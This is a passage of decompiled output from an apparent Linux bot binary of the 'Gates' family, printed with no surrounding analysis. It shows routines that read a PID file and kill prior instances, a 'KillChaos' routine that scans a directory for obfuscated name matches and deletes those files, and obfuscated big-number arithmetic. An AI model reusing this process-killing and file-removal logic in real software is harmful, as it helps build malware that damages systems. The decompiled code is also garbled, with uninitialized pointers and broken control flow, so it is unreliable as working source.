CUtility__Split((struct struct_3 *)v7, (char *)&v6, 58);
int32_t v8 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v7); // 0x8077da0
if (((int32_t)(v8 == 6) || v8 & -256) != 1) {
// 0x8077db2
g95 = 0;
abort();
// UNREACHABLE
}
// 0x8077dbd
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, &g2->e0);
std__string__operator_eq__675();
int32_t v9 = std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)1)); // 0x8077df4
g56 = atoi((char *)v9);
g55 = atoi((char *)std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)2)));
g54 = atoi((char *)std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)3)));
g53 = atoi((char *)std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)4)));
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)5);
std__string__operator_eq__675();
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v7);
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v5); // 0x8077f11
return result;
}
// Address range: 0x8077f1e - 0x8078099
int32_t CSysTool__ReadPid(char * path) {
int32_t v1 = g98; // 0x8077f21
int32_t v2 = 2; // bp-152
int32_t fd = open(path, O_RDWR); // 0x8077f35
if (fd <= 0) {
// 0x8078091
g98 = v1;
return 0;
}
// 0x8077f52
int32_t * buf;
if (fstat(fd, buf) != 0) {
// 0x8077f6d
close(fd);
// branch -> 0x8078091
// 0x8078091
g98 = v1;
return 0;
}
// 0x8077f87
int32_t v3;
int32_t result; // 0x80780911
if (v3 < 1) {
// 0x807807c
close(fd);
result = 0;
// branch -> 0x8078091
} else {
// 0x8077f92
int32_t v4;
std__allocator_lt_char_gt__598(v4);
v2 = v3 + 1;
struct struct_18 * v5 = g2; // 0x8077fb8_6
char * v6;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__357((int32_t **)v6, &v2, &v5->e0, v4);
std__allocator_lt_char_gt_();
g98 = v3;
int32_t v7 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v6, &v5->e0); // 0x8078002
read(fd, (char *)v7, g98);
close(fd);
int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v6, &v5->e0); // 0x8078031
int32_t str_as_i = atoi((char *)v8); // 0x807803d
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v6);
result = str_as_i;
// branch -> 0x8078091
}
// 0x8078091
g98 = v1;
return result;
}
// Address range: 0x807809a - 0x8078109
int32_t CSysTool__KillPid(char * a1) {
// 0x807809a
CUtility__Sleep((int32_t *)1000);
int32_t pid2 = CSysTool__ReadPid(a1); // 0x80780b6
char * v1 = (char *)pid2; // 0x80780b6_3
if (v1 < (char *)1) {
// 0x80780d7
// branch -> 0x80780db
// 0x80780db
if (((int32_t)v1 & -256 || (int32_t)0) != 0) {
// 0x80780e2
kill(pid2, SIGKILL);
CUtility__Sleep((int32_t *)1000);
// branch -> 0x8078102
}
// 0x8078102
return 1;
}
int32_t pid = getpid(); // 0x80780c7
char * v2 = (char *)pid; // 0x80780c7_2
if (pid != pid2) {
// 0x80780db
if (((int32_t)v2 & -256 || (int32_t)1) != 0) {
// 0x80780e2
kill(pid2, SIGKILL);
CUtility__Sleep((int32_t *)1000);
// branch -> 0x8078102
}
// 0x8078102
return 1;
}
// 0x80780d7
// branch -> 0x80780db
// 0x80780db
if (((int32_t)v2 & -256 || (int32_t)0) != 0) {
// 0x80780e2
kill(pid2, SIGKILL);
CUtility__Sleep((int32_t *)1000);
// branch -> 0x8078102
}
// 0x8078102
return 1;
}
// Address range: 0x807810a - 0x807818d
int32_t CSysTool__KillGatesIfExist(void) {
int32_t v1 = std__string__c_str(&g47); // 0x8078118
if (CSysTool__IsPidExist((char *)v1) != 0) {
int32_t v2 = std__string__c_str(&g47); // 0x8078138
CSysTool__KillPid((char *)v2);
// branch -> 0x8078162
}
int32_t v3 = std__string__c_str(&g47); // 0x807816a
uint32_t v4 = CSysTool__MarkPid((char *)v3, (char **)&g12); // 0x807817b
int32_t result = v4 % 256; // 0x8078183
g95 = result;
return result;
}
// Address range: 0x807818e - 0x80787c9
int32_t CSysTool__KillChaos(int32_t a1) {
struct struct_3 * v1 = NULL; // bp-53
int32_t v2 = g98; // 0x8078191
std__allocator_lt_std__string_gt__42((int32_t)v1);
char * v3;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_((struct struct_3 *)v3, v1);
std__allocator_lt_std__string_gt_(&v1->e0);
char * v4;
Kusdf9(v4);
char * v5;
tRd76(v5);
int32_t * v6;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(v6, v4, ".");
char * v7;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(v7, (char *)v6, v5);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v6);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5);
char * v8;
Isuf6(v8);
char * v9;
tRd76(v9);
int32_t * v10;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(v10, v8, ".");
char * v11;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(v11, (char *)v10, v9);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v10);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v9);
int32_t v12;
std__allocator_lt_char_gt__598(v12);
char * v13;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v13, (int32_t)"/", v12, (int32_t)v9, (int32_t)".", (int32_t)v7);
std__allocator_lt_char_gt_();
char * v14;
nkfsd8(v14);
char * v15;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(v15, v13, v14);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v15);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v14);
int32_t * v16;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(v16, v13, "/");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v16);
int32_t * dirp = opendir((char *)std__string__c_str((int32_t *)v13)); // 0x8078468
int32_t result; // 0x80787a0
if (dirp == NULL) {
// 0x8078667
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v13);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v7);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v4);
result = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3);
g98 = v2;
return result;
}
// 0x80785c2
// branch -> 0x80785c2
lab_0xc3e6940:;
int32_t v17; // 0x80785d3
while (true) {
int32_t * v18 = readdir(dirp); // 0x80785c8
v17 = (int32_t)v18;
if (((int32_t)(v18 == NULL) || v17 & -256) == 1) {
// 0x80785e2
closedir(dirp);
int32_t v19 = 0;
// branch -> 0x8078629
while (true) {
// 0x8078629
g98 = v19;
uint32_t v20 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v3); // 0x8078633
if (((int32_t)(g98 < v20) || v20 & -256) == 0) {
// 0x8078667
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v13);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v7);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v4);
result = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3);
g98 = v2;
return result;
}
int32_t v21 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v3, (int32_t *)v19); // 0x8078604
remove((char *)std__string__c_str((int32_t *)v21));
v19++;
// branch -> 0x8078629
}
} else {
// 0x8078489
if (*(char *)(v17 + 10) / 4 % 2 == 0) {
// break -> 0x80784a3
break;
}
// continue -> 0x80785c2
continue;
}
}
int32_t v22 = std__string__c_str((int32_t *)v4); // 0x80784aa
char * str = (char *)(v17 + 11); // 0x80784bd
int32_t v23; // 0x80784f6
if (strstr(str, (char *)v22) != NULL) {
int32_t v24 = std__string__c_str((int32_t *)v7); // 0x80784d0
char * str2 = (char *)v24; // 0x80784d0_4
strcmp(str, str2);
char v25;
if (v24 != 0) {
v25 = 1;
lab_0x5db81b0:
// 0x8078545
if (((int32_t)str2 & -256 || (int32_t)v25) != 0) {
// break (via goto) -> 0x807854c
goto lab_0x5dbd040;
}
// continue (via goto) -> 0x80785c2
goto lab_0xc3e6940;
}
// 0x80784ef
v23 = std__string__c_str((int32_t *)v8);
if (strstr(str, (char *)v23) != NULL) {
lab_0x24ee1fb0:;
int32_t v26 = std__string__c_str((int32_t *)v11); // 0x807851c
char * str3 = (char *)v26; // 0x807851c_4
strcmp(str, str3);
if (v26 != 0) {
str2 = str3;
v25 = 1;
goto lab_0x5db81b0;
}
// 0x8078541
str2 = str3;
v25 = 0;
// branch -> 0x8078545
goto lab_0x5db81b0;
}
lab_0x5dbb0b0:
// 0x8078541
str2 = NULL;
v25 = 0;
// branch -> 0x8078545
goto lab_0x5db81b0;
}
// 0x80784ef
v23 = std__string__c_str((int32_t *)v8);
if (strstr(str, (char *)v23) == NULL) {
goto lab_0x5dbb0b0;
}
goto lab_0x24ee1fb0;
}
// Address range: 0x80787ca - 0x8078803
int32_t CIHNs5r__Udjf34(int32_t * a1, struct struct_1 * a2) {
// 0x80787ca
*a1 = a2->e0;
int32_t v1 = 0; // bp-8
int32_t v2 = (int32_t)a1 + 4; // 0x80787f3
*(int32_t *)v2 = a2->e1[0];
int32_t v3 = v1 + 1; // 0x80787fa9
v1 = v3;
if (v3 >= 35) {
// 0x8078802
return &v1;
}
*(int32_t *)(v2 + 4 * v3) = a2->e1[v3];
int32_t v4 = v1 + 1; // 0x80787fa
v1 = v4;
while (v4 < 35) {
// 0x80787e3
v3 = v4;
*(int32_t *)(v2 + 4 * v3) = a2->e1[v3];
v4 = v1 + 1;
v1 = v4;
// continue -> 0x80787e3
}
// 0x8078802
return &v1;
}
// Address range: 0x8078804 - 0x8078885
int32_t CIHNs5r__Udjf34_354(struct struct_52 * a1, int32_t a2, int32_t a3) {
struct struct_52 * v1; // 0x8078860_0
if (a3 == 0) {
// 0x8078822
a1->e0 = (int32_t *)1;
*(int32_t *)((int32_t)a1 + 4) = a2;
v1 = a1;
// branch -> 0x8078860
} else {
// 0x8078828
a1->e0 = (int32_t *)2;
a1->e2 = a3;
a1->e1[0] = a2;
v1 = a1;
// branch -> 0x8078860
}
int32_t v2 = *(int32_t *)v1; // 0x8078863
int32_t * v3 = (int32_t *)v2;
int32_t * v4 = v3;
int32_t ** v5 = (int32_t **)v2;
if (v3 < (int32_t *)35) {
// 0x807886a
v1->e1[0] = 0;
int32_t * v6 = (int32_t *)((int32_t)v4 + 1);
v4 = v6;
if (v6 < (int32_t *)35) {
a1->e1[0] = 0;
int32_t * v7 = (int32_t *)((int32_t)v4 + 1);
v4 = v7;
while (v7 < (int32_t *)35) {
// 0x807886a
a1->e1[0] = 0;
v7 = (int32_t *)((int32_t)v4 + 1);
v4 = v7;
// continue -> 0x807886a
}
// 0x807887d
// branch -> 0x8078883
// 0x8078883
return (int32_t)&v4;
}
// 0x807887d
v5 = &v4;
// branch -> 0x8078883
}
// 0x8078883
return (int32_t)v5;
}
// Address range: 0x8078886 - 0x80789cf
int32_t CIHNs5r__Udjf32(struct struct_1 * a1, int32_t * a2, struct struct_1 * a3) {
struct struct_1 v1; // 0x8078886_0
struct struct_1 * v2 = NULL; // bp-176
v1 = (struct struct_1){
.e0 = 0
};
v1.e0 = (int32_t)a1;
CIHNs5r((int32_t *)v1.e0);
CIHNs5r_501(&v2->e0, (struct struct_1 *)a2);
CIHNs5r__Udjf34((int32_t *)v1.e0, v2);
CIHNs5r_500();
int32_t * v3 = (int32_t *)v1.e0; // 0x80788f4_0
if (*v3 < a3->e0) {
// 0x80788ff
*v3 = a3->e0;
// branch -> 0x8078971
}
int32_t * v4 = (int32_t *)v1.e0; // 0x8078974_06
int32_t v5;
if (*v4 == 0) {
v5 = 0;
// 0x807897b
v1.e1[0] = v5;
*v4 = *v4 + v5;
return v1.e0;
}
int32_t v6 = 0;
int32_t v7 = 0; // 0x807899219
// branch -> 0x8078912
while (true) {
uint32_t v8 = v1.e1[v6]; // 0x807892d
uint32_t v9 = v8 + a3->e1[v6]; // 0x807893a
int32_t v10 = v9 + v7; // 0x8078948
int32_t v11 = (int32_t)(v10 < v7) + (int32_t)(v9 < v8); // 0x807894a
v1.e1[v6] = v10;
int32_t v12 = v6 + 1; // 0x807896f
int32_t * v13 = (int32_t *)v1.e0; // 0x8078974_0
if (*v13 <= v12) {
v4 = v13;
v5 = v11;
// break -> 0x807897b
break;
}
v6 = v12;
v7 = v11;
// continue -> 0x8078912
}
// 0x807897b
v1.e1[0] = v5;
*v4 = *v4 + v5;
return v1.e0;
}
// Address range: 0x80789d2 - 0x8078be5
int32_t CIHNs5r__Udjf87(int32_t * a1, struct struct_1 * a2, int32_t * a3) {
struct struct_1 * v1 = NULL; // bp-320
CIHNs5r((int32_t *)*a1);
CIHNs5r_501(&v1->e0, a2);
CIHNs5r__Udjf34((int32_t *)*a1, v1);
CIHNs5r_500();
int32_t v2;
CIHNs5r_501(&v2, (struct struct_1 *)a3);
int32_t v3 = CIHNs5r__Udjf66((struct struct_1 *)*a1, (struct struct_1 *)&v2); // 0x8078a4c
CIHNs5r_500();
if (v3 < 1 == false) {
// 0x8078b7f
int32_t * v4; // 0x8078b92_0
int32_t * v5;
int32_t * v6;
int32_t v7; // 0x8078b9d
int32_t v8; // 0x8078b9d18
if (a2->e0 != 0) {
struct struct_1 * v9 = a2; // bp+035
int32_t v10 = 0;
int32_t v11 = 0;
while (true) {
int32_t * v12 = (int32_t *)((int32_t)a3 + 4 + 4 * v10); // 0x8078ade_0
int32_t v13;
if (v9->e1[v10] <= *v12) {
// 0x8078ae6
if (v9->e1[v10] != *v12 || v11 != 0) {
// 0x8078b36
a1[1] = v9->e1[v10] - v11 - *v12;
v13 = 1;
// branch -> 0x8078b7a
lab_0x1a446050:;
int32_t v14 = v10 + 1; // 0x8078b7d
if (a2->e0 <= v14) {
// break -> 0x8078b97
break;
}
v9 = a2;
v10 = v14;
v11 = v13;
// continue -> 0x8078ace
continue;
}
}
// 0x8078b04
a1[1] = v9->e1[v10] - v11 - *v12;
v13 = 0;
// branch -> 0x8078b7a
goto lab_0x1a446050;
}
// 0x8078b97
v6 = a1;
v8 = *(int32_t *)*v6;
if (*(int32_t *)(*v6 + 4 + 4 * (v8 - 1)) != 0) {
// 0x8078bd9
// branch -> 0x8078bd9
// 0x8078bd9
return *v6;
}
v4 = (int32_t *)*v6;
*v4 = *v4 - 1;
v5 = a1;
v7 = *(int32_t *)*v5;
while (*(int32_t *)(*v5 + 4 + 4 * (v7 - 1)) == 0) {
// 0x8078b8f
v4 = (int32_t *)*v5;
*v4 = *v4 - 1;
v5 = a1;
v7 = *(int32_t *)*v5;
// continue -> 0x8078b8f
}
// 0x8078bd9
// branch -> 0x8078bd9
// 0x8078bd9
return *v5;
}
// 0x8078b97
v6 = a1;
v8 = *(int32_t *)*v6;
if (*(int32_t *)(*v6 + 4 + 4 * (v8 - 1)) == 0) {
v4 = (int32_t *)*v6;
*v4 = *v4 - 1;
v5 = a1;
v7 = *(int32_t *)*v5;
while (*(int32_t *)(*v5 + 4 + 4 * (v7 - 1)) == 0) {
// 0x8078b8f
v4 = (int32_t *)*v5;
*v4 = *v4 - 1;
v5 = a1;
v7 = *(int32_t *)*v5;
// continue -> 0x8078b8f
}
// 0x8078bd9
// branch -> 0x8078bd9
// 0x8078bd9
return *v5;
}
// branch -> 0x8078bd9
} else {
int32_t v15 = (int32_t)g2; // 0x8078aae
CIHNs5r__Udjf34_354((struct struct_52 *)*a1, v15, v15);
// branch -> 0x8078bd9
}
// 0x8078bd9
return *a1;
}
// Address range: 0x8078be6 - 0x8078d27
int32_t CIHNs5r__Udjf87_355(struct struct_1 * a1, struct struct_1 * a2, uint32_t a3) {
struct struct_1 * v1 = NULL; // bp-172
CIHNs5r(&a1->e0);
CIHNs5r_501(&v1->e0, a2);
CIHNs5r__Udjf34(&a1->e0, v1);
CIHNs5r_500();
int32_t v2 = (int32_t)a1; // 0x8078c3c
if (a1->e1[0] >= a3) {
int32_t * v3 = (int32_t *)(v2 + 4); // 0x8078c4d_0
*v3 = *v3 - a3;
// branch -> 0x8078d20
// 0x8078d20
return (int32_t)a1;
}
// 0x8078c5b
if (a1->e0 == 1) {
int32_t v4 = (int32_t)g2; // 0x8078c70
CIHNs5r__Udjf34_354((struct struct_52 *)a1, v4, v4);
// branch -> 0x8078d20
} else {
int32_t * v5 = (int32_t *)(v2 + 4); // 0x8078c80_0
*v5 = *v5 - a3;
struct struct_1 * v6 = a1;
int32_t v7 = 1;
if (a1->e1[1] == 0) {
int32_t v8 = 1;
a1->e1[v8] = -1;
int32_t v9 = v8 + 1; // 0x8078cba
while (a1->e1[v9] == 0) {
// 0x8078ca9
v8 = v9;
a1->e1[v8] = -1;
v9 = v8 + 1;
// continue -> 0x8078ca9
}
// 0x8078cbc
v6 = a1;
v7 = v9;
// branch -> 0x8078cca
}
// 0x8078cca
v6->e1[v7]--;
if (a1->e1[v7] == 0) {
// 0x8078ce7
a1->e0--;
// branch -> 0x8078d20
}
}
// 0x8078d20
return (int32_t)a1;
}
// Address range: 0x8078d2a - 0x8078e8f
int32_t CIHNs5r__Udjf31(int32_t * a1, struct struct_1 * a2, struct struct_1 * a3) {
struct struct_1 * v1 = NULL; // bp-180
CIHNs5r((int32_t *)*a1);
CIHNs5r_501(&v1->e0, a2);
CIHNs5r__Udjf34((int32_t *)*a1, v1);
CIHNs5r_500();
if (a2->e0 == 0) {
// 0x8078e34
// branch -> 0x8078e85
// 0x8078e85
return *a1;
}
int32_t v2 = 0;
int32_t v3 = 0; // 0x8078e4d215
uint64_t v4 = (int64_t)(int32_t)a3 * (int64_t)a2->e1[v2]; // 0x8078dcd
int32_t v5 = (int32_t)v4 + v3; // 0x8078dfd
int32_t v6 = (int32_t)(v5 < v3) + (int32_t)(v4 / 0x100000000); // 0x8078dff
a1[1] = v5;
while (a2->e0 > v2 + 1) {
// 0x8078d95
v2++;
v3 = v6;
v4 = (int64_t)(int32_t)a3 * (int64_t)a2->e1[v2];
v5 = (int32_t)v4 + v3;
v6 = (int32_t)(v5 < v3) + (int32_t)(v4 / 0x100000000);
a1[1] = v5;
// continue -> 0x8078d95
}
// 0x8078e34
if (v6 != 0) {
int32_t * v7 = (int32_t *)*a1; // 0x8078e3d_0
*v7 = *v7 + 1;
*(int32_t *)(*a1 + 4 + 4 * (*(int32_t *)*a1 - 1)) = v6;
// branch -> 0x8078e85
}
// 0x8078e85
return *a1;
}
// Address range: 0x8078e92 - 0x80790cf
int32_t CIHNs5r__Udjf31_356(int32_t * a1, int32_t * a2, struct struct_1 * a3) {
if (a3->e0 != 1) {
// 0x8078ec6
int32_t v1;
CIHNs5r(&v1);
v1 = *a2 - 1 + a3->e0;
abort();
// UNREACHABLE
}
int32_t v2 = a3->e1[0]; // bp-228
CIHNs5r__Udjf31((int32_t *)*a1, (struct struct_1 *)a2, (struct struct_1 *)&v2);
return *a1;
}
// Address range: 0x80790d0 - 0x8079583
int32_t CIHNs5r__Udjf01(int32_t ** a1, struct struct_1 * a2, int32_t ** a3) {
struct struct_1 * v1 = NULL; // bp-1196
struct struct_1 * v2 = NULL; // bp-476
int32_t v3 = g98; // 0x80790d3
CIHNs5r(*a1);
int32_t * v4;
CIHNs5r(v4);
CIHNs5r_501(&v1->e0, a2);
CIHNs5r__Udjf34(*a1, v1);
CIHNs5r_500();
int32_t v5 = (int32_t)g2; // 0x80792c8
int32_t * v6;
int32_t v7 = (int32_t)v6; // 0x80792c8
// branch -> 0x8079491
while (true) {
// 0x8079491
int32_t v8;
CIHNs5r_501(&v8, (struct struct_1 *)*a3);
CIHNs5r__Udjf66((struct struct_1 *)*a1, (struct struct_1 *)&v8);
CIHNs5r_500();
int32_t * v9 = *a1; // 0x807914d
int32_t v10 = (int32_t)v9; // 0x807914d_0
int32_t * v11 = *a3; // 0x8079167
int32_t v12 = (int32_t)v11; // 0x8079167_0
int32_t v13 = **a1; // 0x8079179
int32_t v14 = **a3; // 0x807917e
int32_t v15 = v13 - v14; // 0x8079182
int32_t * v16 = (int32_t *)v15; // 0x8079186_0
if (v9 == v11) {
// 0x80791a1
if (v13 == v14) {
// 0x80791ab
int32_t * v17;
CIHNs5r_501(v17, (struct struct_1 *)*a3);
int32_t * v18;
CIHNs5r__Udjf87(v18, (struct struct_1 *)*a1, v17);
CIHNs5r__Udjf34(*a1, (struct struct_1 *)v18);
CIHNs5r_500();
CIHNs5r_500();
CIHNs5r_500();
g98 = v3;
return (int32_t)*a1;
}
}
int32_t * v19 = v16; // 0x80793f1_07
int32_t * v20 = v9; // 0x80792dc_05
int32_t v21; // 0x80792ba
int32_t v22; // 0x80792c8
int32_t v23; // 0x80792c8
int32_t * v24; // 0x8079407_43
int32_t v25; // 0x80792c8
int32_t * v26;
int32_t v27;
int32_t * v28;
uint32_t v29; // 0x807938b
if (v9 <= v11) {
// 0x807927a
int32_t v30; // 0x80792d9_06
if (v13 != v14) {
// 0x8079280
g98 = v10;
int32_t v31 = *(int32_t *)((int32_t)*a1 + 4 + 4 * (**a1 - 2)); // 0x80792a1
v19 = (int32_t *)(v15 - 1);
v30 = v10;
v20 = (int32_t *)v31;
// branch -> 0x80792b4
} else {
v19 = v16;
v30 = 0;
v20 = v9;
}
// 0x80792b4
v21 = v12 + 1;
v22 = (int32_t)v4;
v23 = *v26;
v25 = __udivdi3((int32_t)v20, v30, v21, (int32_t)(v11 == (int32_t *)-1), v27, v10, v5, v7, 0, v22, v23, 0, 0, 0, 0, 0);
CIHNs5r__Udjf34_354((struct struct_52 *)v4, v25, g97);
CIHNs5r_501(&v2->e0, (struct struct_1 *)v4);
CIHNs5r__Udjf31_356(v28, *a3, v2);
CIHNs5r__Udjf34(v4, (struct struct_1 *)v28);
CIHNs5r_500();
CIHNs5r_500();
v29 = (int32_t)v19;
v24 = v4;
if (v19 != NULL) {
lab_0x16989ae0:;
int32_t v32 = v29 + v22; // 0x8079397
int32_t v33 = v32 - 1; // 0x80793a6
if (v33 >= v29) {
v26[v33] = *v26;
while (v33 - 1 >= v29) {
// 0x80793ac
v33--;
v26[v33] = *v26;
// continue -> 0x80793ac
}
// 0x80793ca
// branch -> 0x80793db
}
// branch -> 0x80793db
for (int32_t i = 0; i < v29; i++) {
// 0x80793db
v26[i] = 0;
// continue -> 0x80793db
}
// 0x80793f6
v24 = (int32_t *)v32;
// branch -> 0x80793f6
}
lab_0x11a1dea0:;
// 0x80793f6
int32_t * v34;
CIHNs5r_501(v34, (struct struct_1 *)v24);
int32_t * v35;
CIHNs5r__Udjf87(v35, (struct struct_1 *)*a1, v34);
CIHNs5r__Udjf34(*a1, (struct struct_1 *)v35);
CIHNs5r_500();
CIHNs5r_500();
v4 = v24;
// branch -> 0x8079491
continue;
}
// 0x80792b4
v21 = v12 + 1;
v22 = (int32_t)v4;
v23 = *v26;
v25 = __udivdi3((int32_t)v20, 0, v21, (int32_t)(v11 == (int32_t *)-1), v27, v10, v5, v7, 0, v22, v23, 0, 0, 0, 0, 0);
CIHNs5r__Udjf34_354((struct struct_52 *)v4, v25, g97);
CIHNs5r_501(&v2->e0, (struct struct_1 *)v4);
CIHNs5r__Udjf31_356(v28, *a3, v2);
CIHNs5r__Udjf34(v4, (struct struct_1 *)v28);
CIHNs5r_500();
CIHNs5r_500();
v29 = (int32_t)v19;
if (v19 == NULL) {
v24 = v4;
goto lab_0x11a1dea0;
}
goto lab_0x16989ae0;
}
}
// Address range: 0x8079584 - 0x8079d0f
int32_t CIHNs5r__Udjf69(int32_t ** a1, int32_t * a2, int32_t * a3, struct struct_1 * a4, int32_t * a5) {
struct struct_1 * v1 = NULL; // bp-2476
struct struct_1 * v2 = NULL; // bp-1900
struct struct_1 * v3 = NULL; // bp-1324
struct struct_1 * v4 = NULL; // bp-748
struct struct_1 * v5 = NULL; // bp-172
CIHNs5r(*a1);
int32_t * v6;
CIHNs5r(v6);
if ((char)(int32_t)a5 != 0) {
// 0x80795c1
int32_t * v7;
CIHNs5r__Udjf87_355((struct struct_1 *)v7, (struct struct_1 *)*a3, 85);
CIHNs5r__Udjf34((int32_t *)*a3, (struct struct_1 *)v7);
CIHNs5r_500();
int32_t * v8;
CIHNs5r__Udjf87_355((struct struct_1 *)v8, a4, 85);
CIHNs5r__Udjf34(&a4->e0, (struct struct_1 *)v8);
CIHNs5r_500();
// branch -> 0x807963d
}
int32_t v9 = 32 * *(int32_t *)*a3 - 32; // 0x8079645
int32_t v10 = *a3; // 0x8079656
if (v10 != 0) {
int32_t v11 = v9 + 1; // 0x8079667
while (v10 >= 2) {
// 0x807965f
v10 /= 2;
v11++;
// continue -> 0x807965f
}
// 0x8079669
v9 = v11;
// branch -> 0x807966f
}
// 0x807966f
CIHNs5r_501(&v1->e0, (struct struct_1 *)a2);
CIHNs5r__Udjf34(*a1, v1);
CIHNs5r_500();
int32_t v12 = v9 - 2; // 0x80796af
if (v12 <= 0) {
// 0x8079cc2
CIHNs5r_500();
return (int32_t)*a1;
}
while (true) {
// 0x80796ba
int32_t * v13;
CIHNs5r__Udjf31(v13, (struct struct_1 *)*a1, (struct struct_1 *)*a1);
CIHNs5r__Udjf34(v6, (struct struct_1 *)v13);
CIHNs5r_500();
int32_t ** v14;
CIHNs5r_501((int32_t *)v14, a4);
int32_t ** v15;
CIHNs5r__Udjf01(v15, (struct struct_1 *)v6, v14);
CIHNs5r__Udjf34(v6, (struct struct_1 *)v15);
CIHNs5r_500();
CIHNs5r_500();
struct struct_1 * v16 = (struct struct_1 *)1; // bp-16
int32_t * v17 = v6;
int32_t v18; // 0x80799ab
uint32_t v19; // 0x80799a6
int32_t v20; // 0x807999f
if (**a1 > 1) {
struct struct_1 * v21 = (struct struct_1 *)1;
int32_t * v22 = v6; // 0x56120
int32_t * v23;
while (true) {
int32_t v24 = (int32_t)v22; // 0x80797b2
struct struct_1 * v25 = v21; // 0x80797fc_0
int32_t ** v26 = a1;
if (v22 > NULL) {
int32_t v27 = v24;
int32_t v28 = v27 - 1; // 0x80797c3
int32_t * v29 = v23;
v29[v27] = *v29;
while (v28 > 0) {
// 0x80797bd
v27 = v28;
v28 = v27 - 1;
v29 = v23;
v29[v27] = *v29;
// continue -> 0x80797bd
}
// 0x80797d7
v25 = v16;
v26 = a1;
// branch -> 0x80797dd
}
// 0x80797dd
v23 = NULL;
int32_t v30 = v24 + 1; // 0x80797ed
int32_t * v31 = (int32_t *)v30; // 0x80797ee_0
int32_t * v32 = *v26; // 0x80797f4
int32_t v33 = **v26; // 0x80797fa
int32_t v34 = *(int32_t *)((int32_t)v32 + 4 + 4 * (v33 - (int32_t)v25 - 1)); // 0x8079800
int32_t * v35;
CIHNs5r__Udjf31(v35, (struct struct_1 *)*v26, (struct struct_1 *)v34);
CIHNs5r__Udjf32(v2, v31, (struct struct_1 *)v35);
CIHNs5r__Udjf34(v31, v2);
CIHNs5r_500();
CIHNs5r_500();
int32_t ** v36;
CIHNs5r_501((int32_t *)v36, a4);
int32_t ** v37;
CIHNs5r__Udjf01(v37, (struct struct_1 *)v30, v36);
CIHNs5r__Udjf34(v31, (struct struct_1 *)v37);
CIHNs5r_500();
CIHNs5r_500();
uint32_t v38 = (int32_t)v16 + 1; // 0x8079943
struct struct_1 * v39 = (struct struct_1 *)v38; // 0x8079943_3
v16 = v39;
if (**a1 <= v38) {
v17 = v31;
